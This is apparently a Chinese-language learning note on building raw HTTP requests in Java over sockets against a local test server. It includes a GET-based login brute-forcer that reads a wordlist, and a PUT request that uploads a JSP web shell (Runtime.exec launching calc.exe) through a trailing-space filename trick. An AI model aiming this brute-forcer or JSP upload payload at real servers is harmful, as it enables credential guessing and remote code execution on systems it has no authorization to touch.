JAVA构建请求的方式

BufferedReader

BufferedReader(Reader in)
      创建一个使用默认大小输入缓冲区的缓冲字符输入流。

String	readLine()
      读取一个文本行。

StringBuffer

StringBuffer()
      构造一个其中不带字符的字符串缓冲区，其初始容量为 16 个字符。
StringBuffer	append(String str)
      将指定的字符串追加到此字符序列。
StringBuffer	append(StringBuffer sb)
      将指定的 StringBuffer 追加到此序列中。

X-Forwarded-For,IP地址—改变头文件地址；

Get爆破

package com.mtlk.baopo;

import java.io.*;
import java.net.Socket;
import java.util.Scanner;

public class Get implements Runnable{
    Socket s;       //定义全局变量
    private String name;
    private boolean boo = true;

    public Get() throws 	IOException,InterruptedException{
        s = new Socket("127.0.0.1",8080);   //目标IP，与连接端口
        new Thread(this).start();       //开启线程
        send();     //调用下面方法
    }

    private void send()throws IOException,InterruptedException {
        PrintWriter pw = new PrintWriter(s.getOutputStream());      //发送到端口的内容做封装
        FileInputStream fis = new FileInputStream("E:/text/log.txt");   //将字典库导出
        byte[]bs = new byte[fis.available()];       //将字典库导入到一个比特数组
        fis.read(bs);   //读取比特数组
        String context = new String(bs);    //将比特数组转化为字符串
        String[] mess = context.split("\r\n");      //按空格拆分字符串

        for (String mes:mess){
            name = mes;
            StringBuffer request = new StringBuffer("GET /http/HttpDemo?userName="+name+"&passWord=123456 HTTP/1.1\r\n");    //写入访问网页，按格式填入--localhost:8080/http/HttpDemo?userName=admin&passWord=123456（源网页）
            request.append("HOST:127.0.0.1\r\n");      //附加格式
            pw.println(request.toString());     //写入get请求格式
            pw.flush();     //刷新
            Thread.sleep(2000);     //设置延迟
        }
    }

    @Override
    public void run() {
        try {
            InputStream is = s.getInputStream();    //获取端口收到的消息
            Scanner sn = new Scanner(is);       //写入控制台
//            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is, "UTF-8"));

            while (boo) {
//                if (bufferedReader.readLine().contains("登录成功")) {
                if (sn.hasNextLine()) {     //判断是否有下一行
                    if (sn.nextLine().contains("登录成功")) {       //判断端口接收信息
                        System.out.println("用户名是：" + name);
                        System.out.println("爆破成功");
                        return;     //返回值
                    }
//                  System.out.println(bufferedReader.readLine());
//                }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException, InterruptedException {
        new Get();
    }
}

post请求

package com.mtlk.baopo;

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.Socket;
import java.sql.SQLOutput;
import java.util.Scanner;

public class Post {
    public static void main(String[] args) throws IOException {
        String body ="name=admin&pass=123456";      //请求体信息
        StringBuilder request = new StringBuilder("POST /http/HttpDemo HTTP/1.1\r\n");      //请求url
        request.append("HOST:127.0.0.1\r\n");       //请求IP
        request.append("Content-Type:application/x-www-form-urlencoded\\r\\n");     //请求格式
        request.append("Content-Length:"+body.length()+"\r\n\r\n");     //请求格式
        request.append(body);       //请求体

        System.out.println(request.toString());
        Socket s = new Socket("127.0.0.1",8080);        //Socket规定的IP和端口
        PrintWriter pw = new PrintWriter(s.getOutputStream(),true);     //输出到端口的内容
	    pw.println(request.toString());     //将请求体输出到端口
	    pw.flush();     //刷新

	    InputStream is = s.getInputStream();        //获取端口收到的消息
	    Scanner sc = new Scanner(is);       //输入到控制台
	    System.out.println("--------------------------------");
	    while (sc.hasNextLine()){
	        System.out.println(sc.nextLine());      //将控制台内容输出
	    }
	}
}

put###

package com.mtlk.baopo;

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;

public class Put {
    public static void main(String[] args) throws IOException {
        String body = "<%Runtime.getRuntime().exec('c:/windows/system32/calc.exe')%>";  //请求体，调用计算机程序
        StringBuilder request = new StringBuilder("PUT /test.jsp%20 HTTP/1.1\r\n");     //请求格式
        request.append("HOST:127.0.0.1\r\n");
        request.append("Content-Type:text/html\r\n");
        request.append("Content-Length:"+body.length()+"\r\n\r\n");
        request.append(body);
        System.out.println(request.toString());     //请求体转化为字符串型

        Socket s = new Socket("127.0.0.1",8080);    //创建连接

        PrintWriter pw = new PrintWriter(s.getOutputStream(),true); //获取输出流
        pw.println(request.toString());     //请求体转化为字符串写入输出流
        pw.flush();     //刷新

        InputStream is = s.getInputStream();        //获取输入流
        Scanner sc = new Scanner(is);       //将输入流写入
        System.out.println("-------------------------------");
        while (sc.hasNextLine()){       //扫描是否有下一行
            System.out.println(sc.nextLine());      //输出获取的内容
        }
    }
}

optios请求

package com.mtlk.baopo;

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.net.Socket;
import java.util.Scanner;

public class Options {
    public static void main(String[] args) throws IOException {
        Socket s = new Socket("127.0.0.1",8080);        //建立连接
        StringBuilder request = new StringBuilder("OPTIONS*HTTP/1.1\r\n");  //请求格式
        request.append("HOST:127.0.0.1\r\n");

        System.out.println(request.toString());

        PrintWriter pw = new PrintWriter(s.getOutputStream());      //获取输出流
        pw.println(request.toString());     //写入输出流
        pw.flush();     //刷新

        InputStream is = s.getInputStream();        //获取输入流
        Scanner sc = new Scanner(is);       //输入流写入控制台
        System.out.println("---------response----------");
        while (sc.hasNextLine()){
            System.out.println(sc.nextLine());      //打印输入流
        }
    }
}